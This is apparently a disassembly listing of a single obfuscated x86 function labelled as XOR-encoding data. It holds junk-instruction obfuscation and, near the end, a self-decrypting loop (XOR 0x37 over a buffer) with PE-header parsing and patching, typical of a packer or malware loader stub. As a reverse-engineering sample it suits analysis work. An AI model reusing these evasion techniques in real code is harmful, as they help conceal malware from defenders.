Function at 0x13a9e3c
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x27ffc128
push edx
mov edx, 0x3edb6154
sub edx, 0xbefbcee2
jmp 0x13a49aa
push ebp
mov ebp, 0x5b076025
and dword [esp + 4], ebp
pop ebp
xor dword [esp], 0x4ffa84e0
push dword [esp]
push dword [esp]
pop ecx
push edx
jmp 0x13a49ff
pop ebx
xor ecx, ebx
mov ebx, dword [esp]
push eax
mov eax, esp
add eax, 4
jmp 0x13a4a8c
add eax, edx
jmp 0x13a502b
sub eax, 1
jmp 0x13a471a
mov esi, 0x33fdf171
dec esi
xor esi, 0x4406ef07
shr esi, 3
add esi, 0x67ef7bf8
add edi, esi
pop esi
jmp 0x13a4959
push edi
push ecx
mov ecx, 0x76dfc2da
or ecx, 0x2cffcaf6
jmp 0x13a4faf
shr ecx, 5
or ecx, 0x5f6ff581
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 4
sub esi, eax
pop eax
xchg dword [esp], esi
jmp 0x13a477d
push edx
mov edx, 0x5baf0ac5
xor edx, 0x2c1a4208
add esi, edx
mov edx, dword [esp]
jmp 0x13a4916
shr eax, 2
sub eax, 0x7ff0cbc0
xor eax, 0x8b142b04
jmp 0x13a4c3d
push edi
jmp 0x13a4e3c
pop esp
mov dword [esp], edx
mov edx, 0xe06f60af
sub ecx, edx
push dword [esp]
mov edx, dword [esp]
add esp, 4
jmp 0x13a49ca
pop esi
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
xor edx, edi
push dword [esp]
mov edi, dword [esp]
push eax
mov eax, esp
jmp 0x13a4bf4
mov dword [esp], edi
mov dword [esp], esi
mov esi, 0x6eff3fef
xor esi, 0x779e84f5
jmp 0x13a4ace
mov ecx, 0x7ef5ac6e
add dword [esp + 4], 0x5bef9f90
sub dword [esp + 4], ecx
sub dword [esp + 4], 0x5bef9f90
mov ecx, dword [esp]
add esp, 4
xor dword [esp], 0x79ede5d3
add dword [esp], 0x3adbfa0d
push esp
pop dword [esp]
add dword [esp], 4
push dword [esp]
jmp 0x13a496e
pop edi
add esp, 4
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x6bdea4f2
and ecx, 0x70ff09b1
inc ecx
add ecx, 0x5677f270
or ecx, 0x7fdfe4f1
xor ecx, 0x27cefd3d
xor ecx, 0xe7cb63f1
push ebx
push edx
mov edx, 0x79783927
add edx, 0x6df64308
add edx, 0x80f58cbb
mov ebx, edx
pop edx
xor ecx, ebx
pop ebx
jmp 0x13a472c
sub edx, ebp
jmp 0x13a4bec
add edx, 4
add edx, 4
xchg dword [esp], edx
jmp 0x13a4968
push dword [esp + 4]
pop ebx
pop dword [esp]
mov esp, dword [esp]
sti
jmp 0x13a4ac1
push dword [esp]
mov edi, dword [esp]
add esp, 4
add esp, 4
shl ebp, 8
jmp 0x13a4a73
add esp, 4
add edx, 0x7bfe3855
jmp 0x13a4c85
shr edi, 5
xor edi, 0xff57dfd1
jmp 0x13a49be
add esp, 4
add esi, ebp
jmp 0x13a4a41
push dword [esp + 4]
mov edi, dword [esp]
add esp, 4
pop dword [esp]
mov esp, dword [esp]
push 0x28252f7c
mov dword [esp], edi
push 0x709fe036
mov dword [esp], ebx
sub esp, 4
jmp 0x13a4980
xchg dword [esp], ecx
jmp 0x13a4e52
pop ecx
neg edi
jmp 0x13a4f03
pop esp
jmp 0x13a4af6
pop edx
add esp, 4
add edx, 4
jmp 0x13a5082
mov dword [esp], esi
push ebp
mov ebp, 0x53fac4bc
mov esi, ebp
pop ebp
mov ebx, 0x3f0e2c5
jmp 0x13a4deb
pop edx
add esi, edx
jmp 0x13a4d46
mov esi, 0x4bbd9cc4
neg esi
jmp 0x13a516a
sub edi, edx
pop edx
shr edi, 3
jmp 0x13a4908
mov esp, dword [esp]
push edx
jmp 0x13a4db5
push edi
mov edi, 0x4a7b7a74
dec edi
jmp 0x13a4ce4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
sub esp, 4
jmp 0x13a4c74
mov edx, esp
jmp 0x13a485c
push 0x2dac970f
mov dword [esp], eax
push 0x687eee22
pop eax
jmp 0x13a5123
add esp, 4
push esi
mov dword [esp], eax
mov dword [esp], esi
jmp 0x13a4c90
sub ebx, 0xe1a079e1
add edx, ebx
pop ebx
sub edx, ebx
sub edx, 0x77fb4c00
jmp 0x13a4f39
sub esi, 0x77b548cd
push ebp
jmp 0x13a4f8e
pop ecx
sub eax, edi
mov edi, dword [esp]
add esp, 4
mov ebx, eax
pop eax
sub edx, 0x7bfe3855
add edx, 0x6bdfa700
push ebx
mov ebx, 0x599bc5e1
jmp 0x13a4a2b
sub ebp, 0xe64fb040
push edx
mov edx, 0x793b477b
push edx
mov edx, 0x3f3f1a26
add esi, edx
jmp 0x13a4996
add eax, 4
jmp 0x13a4b5a
push ebp
mov dword [esp], 0x55df62a3
jmp 0x13a46a6
shl esi, 1
push edx
jmp 0x13a4d52
xor dword [esp], 0x53ff7fbf
mov dword [esp], edi
jmp 0x13a4690
push esi
push esp
jmp 0x13a4b27
add edi, 1
push 0x1d616bbd
mov dword [esp], ecx
mov ecx, 0x7eff542d
sub edi, 0x76eedfc6
add edi, 0x567766a3
add edi, ecx
sub edi, 0x567766a3
push esi
jmp 0x13a46fd
pop esi
add esi, 4
sub esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
pop esp
push ebx
push 0x260af10e
jmp 0x13a46c5
xchg dword [esp], eax
pop esp
add ecx, 0xc7090772
push dword [esi]
push dword [esp]
push dword [esp]
pop edx
push eax
jmp 0x13a4d0c
xchg dword [esp], eax
pop esp
push eax
mov dword [esp], edx
push 0x1b9b7e0
mov dword [esp], eax
mov dword [esp], 0x47cfdcf1
sub dword [esp], 0x32fe4b3c
push ecx
jmp 0x13a47c6
push eax
mov eax, 0x9376660
xor dword [esp + 4], eax
pop eax
add dword [esp], 0x5fdaac7
mov edi, dword [esp]
add esp, 4
push edi
push esi
jmp 0x13a5066
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push esi
mov esi, 4
add ebx, 0x51bd4557
add ebx, esi
sub ebx, 0x51bd4557
mov esi, dword [esp]
add esp, 4
push edx
jmp 0x13a501f
mov ebp, dword [esp]
jmp 0x13a48ec
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
add esp, 4
push ebp
mov dword [esp], 0x77533b31
jmp 0x13a47b0
pop esi
mov edx, dword [esp]
add esp, 4
sub edx, 0x35fde059
pop ecx
jmp 0x13a5195
pop esi
push eax
mov eax, 0x6a719141
neg eax
add eax, 0x3e5db63f
neg eax
jmp 0x13a4765
add esi, eax
jmp 0x13a4f52
push 0x18f469c0
mov dword [esp], edi
mov edi, 0x578918b9
xor ebp, edi
jmp 0x13a48d8
mov dword [esp], eax
mov eax, 0x6b6cd1ab
sub eax, 0x47ff1027
shr eax, 4
sub eax, 0x8c3773e7
add edx, eax
jmp 0x13a4d26
mov dword [esp], ecx
push edi
mov dword [esp], esi
mov esi, 0x35fde059
jmp 0x13a4d1d
pop ebx
push edx
mov dword [esp], ebx
push edx
jmp 0x13a4efb
mov dword [esp], ebx
pop dword [esi]
mov ebx, dword [esp]
push 0x2c34bb68
mov dword [esp], edi
mov edi, esp
push esi
mov esi, 4
add edi, esi
pop esi
push 0x7fd74b56
mov dword [esp], eax
push edx
mov edx, 4
mov eax, edx
pop edx
sub edi, 0x372fee77
add edi, eax
add edi, 0x372fee77
jmp 0x13a4e62
mov esi, dword [esp]
push esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp 0x13a4951
xor edi, 0x344cbff6
add eax, edi
pop edi
jmp 0x13a4d90
sub ecx, 1
jne 0x13a4b64
sti
push ecx
mov ecx, 0x3faf41a9
mov eax, 0x3d402b83
jmp 0x13a50c1
mov eax, esp
add eax, 4
add eax, 4
jmp 0x13a4b73
add dword [esp + 4], esi
jmp 0x13a4c12
pop eax
push eax
jmp 0x13a4e17
sub esi, edx
mov edx, dword [esp]
add esp, 4
sub edx, esi
jmp 0x13a4ccf
sub esi, 0x3f3f1a26
pop edx
jmp 0x13a474f
mov edx, 0x5ffcec2a
neg edx
sub edx, 0x2dfff0e2
add edx, 0xddbe0144
xor esi, edx
pop edx
push ebx
mov ebx, 0x7cbf58c5
shr ebx, 8
add ebx, 0x7fddbd95
dec ebx
add ebx, 0xff6576b7
or esi, ebx
pop ebx
push edi
mov edi, 0x7f9ee83d
xor esi, edi
pop edi
push edx
jmp 0x13a4777
sub eax, edi
sub eax, 0x7e37c585
pop edi
shr eax, 3
push edx
mov edx, 0x256d7daf
sub edx, 0x1fff74d2
add edx, 0x7f732814
sub esp, 4
jmp 0x13a4c58
mov dword [esp], ebx
push eax
push ebx
push 0x7e7250be
mov ebx, dword [esp]
add esp, 4
shr ebx, 4
sub ebx, 0x5f9f2775
xor ebx, 0xf6a8d05a
jmp 0x13a4f83
pop esi
jmp 0x13a4ae7
add ebx, 0x7fd7ec51
jmp 0x13a4e9c
push ebp
mov ebp, 0x3cf1cd7b
mov eax, 0x52c28510
xor eax, ebp
jmp 0x13a4f67
mov edi, 0x636dd3b1
mov edx, edi
pop edi
add edx, 0x34ffdab1
shr edx, 3
jmp 0x13a4eea
pop esp
mov dword [esp], esp
add dword [esp], 4
jmp 0x13a4c28
mov eax, dword [esp]
add esp, 4
push edi
jmp 0x13a4923
add dword [esp], 0x497051b9
dec dword [esp]
sub dword [esp], 0x4f7f5d0a
xor dword [esp], 0x55d7f147
shl dword [esp], 2
push esi
mov esi, 0x7753b33b
and dword [esp + 4], esi
jmp 0x13a4de5
add ebx, esi
sub ebx, 0x7fd7ec51
pop esi
mov edi, ebx
jmp 0x13a4ef5
xor edx, 0xcc30ecbe
jmp 0x13a4d2d
pop ebx
jmp 0x13a4afd
mov ebx, dword [esp]
jmp 0x13a4a19
sub edi, 1
add edi, 0x539a8474
add esi, 0x2fbe01e0
sub esi, edi
sub esi, 0x2fbe01e0
push dword [esp]
jmp 0x13a4f75
push ebp
push ecx
push esi
push ebx
mov ebx, 0x3f4d4251
mov esi, ebx
pop ebx
mov ecx, 0x68c219ce
xor ecx, esi
pop esi
jmp 0x13a4fcd
pop eax
add esi, 4
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
jmp 0x13a49b5
pop ebp
add edx, eax
jmp 0x13a4f6f
pop eax
jmp 0x13a46d8
mov edi, dword [esp]
add esp, 4
jmp 0x13a4ffc
mov eax, ebx
pop ebx
dec eax
not eax
jmp 0x13a46f3
mov ebp, 0x793b477b
sub esi, ebp
mov ebp, dword [esp]
add esp, 4
push dword [esp]
mov ebp, dword [esp]
add esp, 4
add esp, 4
jmp 0x13a4cf2
and ecx, 0x5d776bd3
xor ecx, 0x5fb75efd
add ecx, 0x83594420
jmp 0x13a4fc6
mov edi, ecx
jmp 0x13a4a4d
shl ecx, 2
neg ecx
jmp 0x13a500a
sub ebp, 0x7bfda2f1
xor ebp, 0x1ffacd5c
add ebp, 0x67cf0b23
jmp 0x13a4c44
add esp, 4
push ebp
mov ebp, 0x7be3b3f2
jmp 0x13a4fd7
push eax
mov eax, 0x6eff3a14
add eax, 0xc6e3b070
sub ecx, eax
pop eax
mov ebp, ecx
jmp 0x13a5060
mov edx, 4
add ebx, edx
jmp 0x13a514e
pop edx
push 0x497a9c91
mov dword [esp], edi
push ecx
mov dword [esp], ebx
mov dword [esp], 0x66bfa93e
sub dword [esp], 0x56efb270
dec dword [esp]
sub dword [esp], 0x7bfc3bef
add dword [esp], 0x57b309d4
shl dword [esp], 5
jmp 0x13a4b97
pop ecx
jmp 0x13a4855
pop edi
mov esi, dword [esp]
add esp, 4
not esi
jmp 0x13a50b0
mov dword [esp], ecx
mov ecx, esp
push esi
jmp 0x13a499e
add edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
pop esp
push ebp
mov dword [esp], 0x23e4822a
mov dword [esp], ebx
mov dword [esp], edi
push eax
jmp 0x13a5103
xor edi, esi
xor esi, edi
xor edi, esi
sub esp, 4
jmp 0x13a50ec
sub eax, 0x3b8f7e30
add eax, ecx
add eax, 0x3b8f7e30
pop ecx
push ebp
mov dword [esp], 0x7fc25c07
add dword [esp], 0x39beb91f
dec dword [esp]
and dword [esp], 0x31fd4f92
jmp 0x13a4e71
mov dword [esp], edi
inc dword [esp]
pop edi
push ebp
jmp 0x13a50f9
mov ebp, 0xf340e067
jmp 0x13a510d
mov eax, 0x3f751d31
jmp 0x13a4a06
add edi, ebp
pop ebp
push esi
push edi
mov esi, dword [esp]
add esp, 4
mov ecx, esi
pop esi
push dword [esp]
jmp 0x13a4806
sub eax, 0x3e8ed37f
jmp 0x13a5155
pop edx
push ebx
jmp 0x13a488f
mov edi, eax
pop eax
xor edi, eax
mov eax, dword [esp]
push eax
mov dword [esp], 0x39cb2985
jmp 0x13a5077
dec esi
add esi, 0x4bbd9cc9
jmp 0x13a5176
sub ecx, 0x74b768dd
add ecx, 0x7eee38ce
add ecx, esi
sub ecx, 0x7eee38ce
add ecx, 0x74b768dd
jmp 0x13a4796
lea ebx, [ebp + 0x122d3b64]
call 0x13a51a0
pop eax
add eax, 0xb
mov dword [ebx], eax
jmp 0x13a9e2f
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, ch
or byte [eax], al
add byte [eax], al
call 0x13a9e3c
jge 0x13a9dc6
and eax, 0x48ee3a5b
mov edx, 0x7b647464
pop edi
and eax, 0x30db8d09
add edi, 0xd953
adc ax, 0xe00a
sti
push 0
mov cx, 0x96ea
pop ebx
mov edx, edi
mov esi, dword [edi + ebx]
sbb cx, 0x73e8
sub esi, 0x71bf56a
pushal
sbb ebx, 0x44387f96
or esi, 0x3029a56a
popal
sub esi, 0x7c1dbc65
mov dx, ax
xor esi, 0x29567784
ja 0x13a9e96
mov edx, 0x206f5a20
mov dword [edi + ebx], esi
pushal
jmp 0x13a9eb0
movsx edx, dx
popal
push ebx
jmp 0x13a9ec8
pop eax
sub ebx, 3
dec ebx
mov ch, 0xa
cmp ebx, 0xffff2784
jne 0x13a9eea
cmc
sti
jmp 0x13a9f0f
pushal
pushal
add bx, 0xf5e
jmp 0x13a9efe
popal
popal
jmp 0x13a9e60
cmp dword [ebp + 0x122d0059], 0
je 0x13a9f26
mov dword [ebp + 0x122d3a18], 1
mov eax, dword [ebp + 0x122d16a9]
mov esi, eax
mov ecx, dword [esi + 0x3c]
add esi, ecx
mov ecx, 0x400000
mov dword [ebp + 0x12527b7a], ecx
mov edi, dword [ebp + 0x122d3b64]
test edi, edi
jne 0x13a9f51
jmp 0x13aa092
mov esi, edi
mov ecx, 0x4c84
lodsb al, byte [esi]
xor al, 0x37
stosb byte es:[edi], al
dec ecx
jne 0x13a9f58
mov ecx, dword [ebp + 0x122d3b64]
mov edi, dword [ebp + 0x122d16a9]
mov esi, dword [ebp + 0x12527b7a]
cmp edi, esi
jne 0x13a9f82
mov edx, 0x286299f6
mov edi, dword [ebp + 0x122d0f3d]
mov ecx, 0x79
lea esi, [ebp + 0x1253f0e5]
rep movsb byte es:[edi], byte [esi]
xor edx, 0x28634112
mov edi, dword [ebp + 0x122d0f3d]
add edi, 0xe
test edx, edx
je 0x13aa0c7